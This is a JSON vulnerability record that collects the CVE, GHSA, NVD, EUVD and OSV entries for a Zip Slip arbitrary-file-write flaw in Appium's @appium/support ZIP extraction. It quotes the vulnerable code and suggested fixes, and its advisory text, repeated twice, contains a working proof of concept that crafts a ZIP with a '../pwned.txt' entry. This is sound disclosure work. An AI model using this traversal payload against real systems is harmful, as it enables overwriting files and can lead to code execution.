{"id":"CVE-2026-30973","aliases":["EUVD-2026-10709","GHSA-rfx7-4xw3-gh4m"],"status":"published","title":"Zip Slip arbitrary file write in @appium/support ZIP extraction","description":"Appium is an automation framework that provides WebDriver-based automation possibilities for a wide range platforms. Prior to 7.0.6, @appium/support contains a ZIP extraction implementation (extractAllTo() via ZipExtractor.extract()) with a path traversal (Zip Slip) check that is non-functional. The check at line 88 of packages/support/lib/zip.js creates an Error object but never throws it, allowing malicious ZIP entries with ../ path components to write files outside the intended destination directory. This affects all JS-based extractions (the default code path), not only those using the fileNamesEncoding option. This vulnerability is fixed in 7.0.6.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.0048,"percentile":0.41923,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2026-03-10T17:33:41Z","modified":"2026-10-28T02:30:23Z","fixes":[{"ecosystem":"npm","package":"@appium/support","fixed_in":["7.0.6"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@appium/support","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"7.0.5"},{"fixed":"7.0.6"}]}]},{"source":"osv","ecosystem":"npm","package":"@appium/support","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"7.0.6"}]}]}],"products":[{"vendor":"@appium","product":"support"},{"vendor":"appium","product":"appium\\/support"}],"references":[{"url":"https://github.com/appium/appium/security/advisories/GHSA-rfx7-4xw3-gh4m","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/appium/appium/releases/tag/@appium/support@7.0.6","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30973","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-rfx7-4xw3-gh4m"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/30xxx/CVE-2026-30973.json","tags":["advisory"]},{"url":"https://github.com/appium/appium","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-30973","title":"Zip Slip arbitrary file write in @appium/support ZIP extraction","description":"Appium is an automation framework that provides WebDriver-based automation possibilities for a wide range platforms. Prior to 7.0.6, @appium/support contains a ZIP extraction implementation (extractAllTo() via ZipExtractor.extract()) with a path traversal (Zip Slip) check that is non-functional. The check at line 88 of packages/support/lib/zip.js creates an Error object but never throws it, allowing malicious ZIP entries with ../ path components to write files outside the intended destination directory. This affects all JS-based extractions (the default code path), not only those using the fileNamesEncoding option. This vulnerability is fixed in 7.0.6.","status":"published","published":"2026-03-10T17:33:41.009Z","modified":"2026-03-12T14:25:09.401Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T13:43:56.024247Z"}],"euvd":[{"id":"EUVD-2026-10709","description":"Appium is an automation framework that provides WebDriver-based automation possibilities for a wide range platforms. Prior to 7.0.6, @appium/support contains a ZIP extraction implementation (extractAllTo() via ZipExtractor.extract()) with a path traversal (Zip Slip) check that is non-functional. The check at line 88 of packages/support/lib/zip.js creates an Error object but never throws it, allowing malicious ZIP entries with ../ path components to write files outside the intended destination directory. This affects all JS-based extractions (the default code path), not only those using the fileNamesEncoding option. This vulnerability is fixed in 7.0.6.","status":"published","published":"2026-03-10T17:33:41Z","modified":"2026-03-12T14:25:09Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T19:25:36.272941Z"}],"ghsa":[{"id":"GHSA-rfx7-4xw3-gh4m","title":"@appium/support has a Zip Slip arbitrary file write in its ZIP extraction","description":"## Summary\n\n`@appium/support` contains a ZIP extraction implementation (`extractAllTo()` via `ZipExtractor.extract()`) with a path traversal (Zip Slip) check that is non-functional. The check at line 88 of `packages/support/lib/zip.js` creates an `Error` object but never throws it, allowing malicious ZIP entries with `../` path components to write files outside the intended destination directory. This affects all JS-based extractions (the default code path), not only those using the `fileNamesEncoding` option.\n\n## Severity\n\n**Medium** (CVSS 3.1: 6.5)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N`\n\n- **Attack Vector:** Network — malicious ZIP files can be supplied over the network (e.g., app packages via URL)\n- **Attack Complexity:** Low — no special conditions required beyond providing a crafted ZIP\n- **Privileges Required:** None — no authentication needed to supply a malicious archive\n- **User Interaction:** Required — a user or automation system must initiate extraction of the attacker's archive\n- **Scope:** Unchanged — impact stays within the file system permissions of the Appium process\n- **Confidentiality Impact:** None — the vulnerability enables file writes, not reads\n- **Integrity Impact:** High — arbitrary file write to any location writable by the process\n- **Availability Impact:** None — no direct availability impact\n\n## Affected Component\n\n- `packages/support/lib/zip.js` — `ZipExtractor.extract()` (line 88) and `ZipExtractor.extractEntry()` (lines 111-145)\n\n## CWE\n\n- **CWE-22**: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')\n\n## Description\n\n### Missing `throw` renders Zip Slip protection non-functional\n\nThe `ZipExtractor.extract()` method contains a path traversal check intended to prevent Zip Slip attacks. However, the check creates an `Error` object as a bare expression without the `throw` keyword, making it a no-op:\n\n```javascript\n// packages/support/lib/zip.js, lines 80-93\nconst destDir = path.dirname(path.join(dir, fileName));\ntry {\n    await fs.mkdir(destDir, {recursive: true});\n\n    const canonicalDestDir = await fs.realpath(destDir);\n    const relativeDestDir = path.relative(dir, canonicalDestDir);\n\n    if (relativeDestDir.split(path.sep).includes('..')) {\n        new Error(                                          // \u003c-- BUG: missing `throw`\n            `Out of bound path \"${canonicalDestDir}\" found while processing file ${fileName}`\n        );\n    }\n\n    await this.extractEntry(entry);   // extraction proceeds unconditionally\n```\n\nThe presence of a well-formatted error message and surrounding try/catch block (lines 95-99) strongly suggests the `throw` keyword was accidentally omitted.\n\n### yauzl does not provide its own traversal protection\n\nThe upstream `yauzl` library explicitly [does not offer path traversal protection](https://github.com/thejoshwolfe/yauzl#no-path-traversal-protection) regardless of the `decodeStrings` setting. This means the vulnerability affects **all** JS-based extractions through `ZipExtractor`, not only those where `fileNamesEncoding` is set. The `fileNamesEncoding` option bypasses yauzl's string decoding (`decodeStrings: false`), but even with `decodeStrings: true`, yauzl passes through `../` path components without rejection.\n\n### Unprotected write sinks\n\nThe `extractEntry` method writes to attacker-controlled paths with no additional validation:\n\n```javascript\n// packages/support/lib/zip.js, lines 111-145\nconst fileName = this.extractFileName(entry);\nconst dest = path.join(dir, fileName);         // resolves ../pwned.txt outside dir\n// ...\nawait fs.symlink(link, dest);                  // symlink creation (line 143)\nawait pipeline(readStream, fs.createWriteStream(dest, {mode: procMode}));  // file write (line 145)\n```\n\nAdditionally, `_extractEntryTo()` (line 263) used by `readEntries()` has no traversal check at all:\n\n```javascript\nconst dstPath = path.resolve(destDir, entry.fileName);  // no validation\n```\n\n### Default code path is vulnerable\n\nThe `extractAllTo()` function uses the JS-based `ZipExtractor` by default. The system unzip fallback (`useSystemUnzip: true`) must be explicitly enabled and only provides protection if the system binary succeeds:\n\n```javascript\n// packages/support/lib/zip.js, lines 203-210\nif (opts.useSystemUnzip) {\n    try {\n        await extractWithSystemUnzip(zipFilePath, dir);\n        return;\n    } catch (err) {\n        log.warn('unzip failed; falling back to JS: %s', err.stderr || err.message);\n        // Falls through to the vulnerable JS implementation\n    }\n}\n```\n\n## Proof of Concept\n\n```bash\n# 1) Install deps for the support package\ncd packages/support\nnpm install --omit=dev --ignore-scripts --no-audit --no-fund --workspaces=false\n\n# 2) Create a malicious ZIP containing a traversal entry\nexport WORK=/tmp/appium_zip_slip_poc\nrm -rf \"$WORK\" \u0026\u0026 mkdir -p \"$WORK/dest\"\npython3 - \u003c\u003c'PY'\nimport zipfile, os\nwork = os.environ['WORK']\nzip_path = os.path.join(work, 'evil.zip')\nwith zipfile.ZipFile(zip_path, 'w') as z:\n    z.writestr('../pwned.txt', 'ZIPSLIP_MARKER')\nprint('created', zip_path)\nPY\n\n# 3) Extract with the JS implementation (default path, no fileNamesEncoding needed)\nnode --experimental-default-type=module --experimental-specifier-resolution=node - \u003c\u003c'NODE'\nimport path from 'node:path';\nimport fs from 'node:fs/promises';\nimport { extractAllTo } from './lib/zip.js';\n\nconst work = process.env.WORK;\nconst zipPath = path.join(work, 'evil.zip');\nconst dest = path.join(work, 'dest');\n\nawait extractAllTo(zipPath, dest, { useSystemUnzip: false });\n\nconst outside = path.join(work, 'pwned.txt');\nconsole.log('outside exists?', await fs.stat(outside).then(() =\u003e true, () =\u003e false));\nconsole.log('outside content:', (await fs.readFile(outside, 'utf8')).trim());\nNODE\n# Expected output:\n# outside exists? true\n# outside content: ZIPSLIP_MARKER\n```\n\n## Impact\n\n- **Arbitrary file write**: An attacker can write files to any location writable by the Appium process, outside the intended extraction directory.\n- **Arbitrary symlink creation**: Malicious ZIP entries with symlink attributes can create symlinks pointing to arbitrary targets, enabling further attacks on subsequent file operations.\n- **Potential code execution**: By overwriting scripts, configuration files, `node_modules` contents, cron jobs, shell profiles, or other executable artifacts, arbitrary file write can chain into remote code execution.\n- **Affects all JS-based extractions**: The default code path (without `useSystemUnzip: true`) is vulnerable regardless of whether `fileNamesEncoding` is set.\n\n## Recommended Remediation\n\n### Option 1: Add the missing `throw` keyword (preferred — minimal fix)\n\n```javascript\n// packages/support/lib/zip.js, line 88\nif (relativeDestDir.split(path.sep).includes('..')) {\n    throw new Error(   // Add `throw`\n        `Out of bound path \"${canonicalDestDir}\" found while processing file ${fileName}`\n    );\n}\n```\n\nThis is the lowest-risk fix: it restores the clearly intended behavior of the existing check. The try/catch block at lines 95-99 will catch the error, set `canceled = true`, close the zip, and reject the promise — exactly the designed error-handling flow.\n\n### Option 2: Add traversal protection to `_extractEntryTo` as well\n\nThe `_extractEntryTo` function (line 262) also lacks a traversal check. For defense-in-depth, add validation there too:\n\n```javascript\nasync function _extractEntryTo(zipFile, entry, destDir) {\n    const dstPath = path.resolve(destDir, entry.fileName);\n    const canonicalDest = path.resolve(dstPath);\n    const canonicalDestDir = path.resolve(destDir);\n    if (!canonicalDest.startsWith(canonicalDestDir + path.sep) \u0026\u0026 canonicalDest !== canonicalDestDir) {\n        throw new Error(\n            `Out of bound path \"${canonicalDest}\" found while processing file ${entry.fileName}`\n        );\n    }\n    // ... rest of function\n}\n```\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).","status":"published","published":"2026-03-11T00:22:38Z","modified":"2026-03-11T00:22:39Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:39:34.616253Z"}],"nvd":[{"id":"CVE-2026-30973","description":"Appium is an automation framework that provides WebDriver-based automation possibilities for a wide range platforms. Prior to 7.0.6, @appium/support contains a ZIP extraction implementation (extractAllTo() via ZipExtractor.extract()) with a path traversal (Zip Slip) check that is non-functional. The check at line 88 of packages/support/lib/zip.js creates an Error object but never throws it, allowing malicious ZIP entries with ../ path components to write files outside the intended destination directory. This affects all JS-based extractions (the default code path), not only those using the fileNamesEncoding option. This vulnerability is fixed in 7.0.6.","status":"published","published":"2026-03-10T18:18:56.063Z","modified":"2026-06-17T10:33:15.117Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:12:08.98071Z"}],"osv":[{"id":"CVE-2026-30973","title":"Zip Slip arbitrary file write in @appium/support ZIP extraction","description":"Appium is an automation framework that provides WebDriver-based automation possibilities for a wide range platforms. Prior to 7.0.6, @appium/support contains a ZIP extraction implementation (extractAllTo() via ZipExtractor.extract()) with a path traversal (Zip Slip) check that is non-functional. The check at line 88 of packages/support/lib/zip.js creates an Error object but never throws it, allowing malicious ZIP entries with ../ path components to write files outside the intended destination directory. This affects all JS-based extractions (the default code path), not only those using the fileNamesEncoding option. This vulnerability is fixed in 7.0.6.","status":"published","published":"2026-03-10T17:33:41.009Z","modified":"2026-10-28T02:30:23.357618634Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:45:00.861953Z"},{"id":"GHSA-rfx7-4xw3-gh4m","title":"@appium/support has a Zip Slip arbitrary file write in its ZIP extraction","description":"## Summary\n\n`@appium/support` contains a ZIP extraction implementation (`extractAllTo()` via `ZipExtractor.extract()`) with a path traversal (Zip Slip) check that is non-functional. The check at line 88 of `packages/support/lib/zip.js` creates an `Error` object but never throws it, allowing malicious ZIP entries with `../` path components to write files outside the intended destination directory. This affects all JS-based extractions (the default code path), not only those using the `fileNamesEncoding` option.\n\n## Severity\n\n**Medium** (CVSS 3.1: 6.5)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N`\n\n- **Attack Vector:** Network — malicious ZIP files can be supplied over the network (e.g., app packages via URL)\n- **Attack Complexity:** Low — no special conditions required beyond providing a crafted ZIP\n- **Privileges Required:** None — no authentication needed to supply a malicious archive\n- **User Interaction:** Required — a user or automation system must initiate extraction of the attacker's archive\n- **Scope:** Unchanged — impact stays within the file system permissions of the Appium process\n- **Confidentiality Impact:** None — the vulnerability enables file writes, not reads\n- **Integrity Impact:** High — arbitrary file write to any location writable by the process\n- **Availability Impact:** None — no direct availability impact\n\n## Affected Component\n\n- `packages/support/lib/zip.js` — `ZipExtractor.extract()` (line 88) and `ZipExtractor.extractEntry()` (lines 111-145)\n\n## CWE\n\n- **CWE-22**: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')\n\n## Description\n\n### Missing `throw` renders Zip Slip protection non-functional\n\nThe `ZipExtractor.extract()` method contains a path traversal check intended to prevent Zip Slip attacks. However, the check creates an `Error` object as a bare expression without the `throw` keyword, making it a no-op:\n\n```javascript\n// packages/support/lib/zip.js, lines 80-93\nconst destDir = path.dirname(path.join(dir, fileName));\ntry {\n    await fs.mkdir(destDir, {recursive: true});\n\n    const canonicalDestDir = await fs.realpath(destDir);\n    const relativeDestDir = path.relative(dir, canonicalDestDir);\n\n    if (relativeDestDir.split(path.sep).includes('..')) {\n        new Error(                                          // \u003c-- BUG: missing `throw`\n            `Out of bound path \"${canonicalDestDir}\" found while processing file ${fileName}`\n        );\n    }\n\n    await this.extractEntry(entry);   // extraction proceeds unconditionally\n```\n\nThe presence of a well-formatted error message and surrounding try/catch block (lines 95-99) strongly suggests the `throw` keyword was accidentally omitted.\n\n### yauzl does not provide its own traversal protection\n\nThe upstream `yauzl` library explicitly [does not offer path traversal protection](https://github.com/thejoshwolfe/yauzl#no-path-traversal-protection) regardless of the `decodeStrings` setting. This means the vulnerability affects **all** JS-based extractions through `ZipExtractor`, not only those where `fileNamesEncoding` is set. The `fileNamesEncoding` option bypasses yauzl's string decoding (`decodeStrings: false`), but even with `decodeStrings: true`, yauzl passes through `../` path components without rejection.\n\n### Unprotected write sinks\n\nThe `extractEntry` method writes to attacker-controlled paths with no additional validation:\n\n```javascript\n// packages/support/lib/zip.js, lines 111-145\nconst fileName = this.extractFileName(entry);\nconst dest = path.join(dir, fileName);         // resolves ../pwned.txt outside dir\n// ...\nawait fs.symlink(link, dest);                  // symlink creation (line 143)\nawait pipeline(readStream, fs.createWriteStream(dest, {mode: procMode}));  // file write (line 145)\n```\n\nAdditionally, `_extractEntryTo()` (line 263) used by `readEntries()` has no traversal check at all:\n\n```javascript\nconst dstPath = path.resolve(destDir, entry.fileName);  // no validation\n```\n\n### Default code path is vulnerable\n\nThe `extractAllTo()` function uses the JS-based `ZipExtractor` by default. The system unzip fallback (`useSystemUnzip: true`) must be explicitly enabled and only provides protection if the system binary succeeds:\n\n```javascript\n// packages/support/lib/zip.js, lines 203-210\nif (opts.useSystemUnzip) {\n    try {\n        await extractWithSystemUnzip(zipFilePath, dir);\n        return;\n    } catch (err) {\n        log.warn('unzip failed; falling back to JS: %s', err.stderr || err.message);\n        // Falls through to the vulnerable JS implementation\n    }\n}\n```\n\n## Proof of Concept\n\n```bash\n# 1) Install deps for the support package\ncd packages/support\nnpm install --omit=dev --ignore-scripts --no-audit --no-fund --workspaces=false\n\n# 2) Create a malicious ZIP containing a traversal entry\nexport WORK=/tmp/appium_zip_slip_poc\nrm -rf \"$WORK\" \u0026\u0026 mkdir -p \"$WORK/dest\"\npython3 - \u003c\u003c'PY'\nimport zipfile, os\nwork = os.environ['WORK']\nzip_path = os.path.join(work, 'evil.zip')\nwith zipfile.ZipFile(zip_path, 'w') as z:\n    z.writestr('../pwned.txt', 'ZIPSLIP_MARKER')\nprint('created', zip_path)\nPY\n\n# 3) Extract with the JS implementation (default path, no fileNamesEncoding needed)\nnode --experimental-default-type=module --experimental-specifier-resolution=node - \u003c\u003c'NODE'\nimport path from 'node:path';\nimport fs from 'node:fs/promises';\nimport { extractAllTo } from './lib/zip.js';\n\nconst work = process.env.WORK;\nconst zipPath = path.join(work, 'evil.zip');\nconst dest = path.join(work, 'dest');\n\nawait extractAllTo(zipPath, dest, { useSystemUnzip: false });\n\nconst outside = path.join(work, 'pwned.txt');\nconsole.log('outside exists?', await fs.stat(outside).then(() =\u003e true, () =\u003e false));\nconsole.log('outside content:', (await fs.readFile(outside, 'utf8')).trim());\nNODE\n# Expected output:\n# outside exists? true\n# outside content: ZIPSLIP_MARKER\n```\n\n## Impact\n\n- **Arbitrary file write**: An attacker can write files to any location writable by the Appium process, outside the intended extraction directory.\n- **Arbitrary symlink creation**: Malicious ZIP entries with symlink attributes can create symlinks pointing to arbitrary targets, enabling further attacks on subsequent file operations.\n- **Potential code execution**: By overwriting scripts, configuration files, `node_modules` contents, cron jobs, shell profiles, or other executable artifacts, arbitrary file write can chain into remote code execution.\n- **Affects all JS-based extractions**: The default code path (without `useSystemUnzip: true`) is vulnerable regardless of whether `fileNamesEncoding` is set.\n\n## Recommended Remediation\n\n### Option 1: Add the missing `throw` keyword (preferred — minimal fix)\n\n```javascript\n// packages/support/lib/zip.js, line 88\nif (relativeDestDir.split(path.sep).includes('..')) {\n    throw new Error(   // Add `throw`\n        `Out of bound path \"${canonicalDestDir}\" found while processing file ${fileName}`\n    );\n}\n```\n\nThis is the lowest-risk fix: it restores the clearly intended behavior of the existing check. The try/catch block at lines 95-99 will catch the error, set `canceled = true`, close the zip, and reject the promise — exactly the designed error-handling flow.\n\n### Option 2: Add traversal protection to `_extractEntryTo` as well\n\nThe `_extractEntryTo` function (line 262) also lacks a traversal check. For defense-in-depth, add validation there too:\n\n```javascript\nasync function _extractEntryTo(zipFile, entry, destDir) {\n    const dstPath = path.resolve(destDir, entry.fileName);\n    const canonicalDest = path.resolve(dstPath);\n    const canonicalDestDir = path.resolve(destDir);\n    if (!canonicalDest.startsWith(canonicalDestDir + path.sep) \u0026\u0026 canonicalDest !== canonicalDestDir) {\n        throw new Error(\n            `Out of bound path \"${canonicalDest}\" found while processing file ${entry.fileName}`\n        );\n    }\n    // ... rest of function\n}\n```\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).","status":"published","published":"2026-03-11T00:22:38Z","modified":"2026-03-13T04:42:12.076717Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:55.877614Z"}]}}
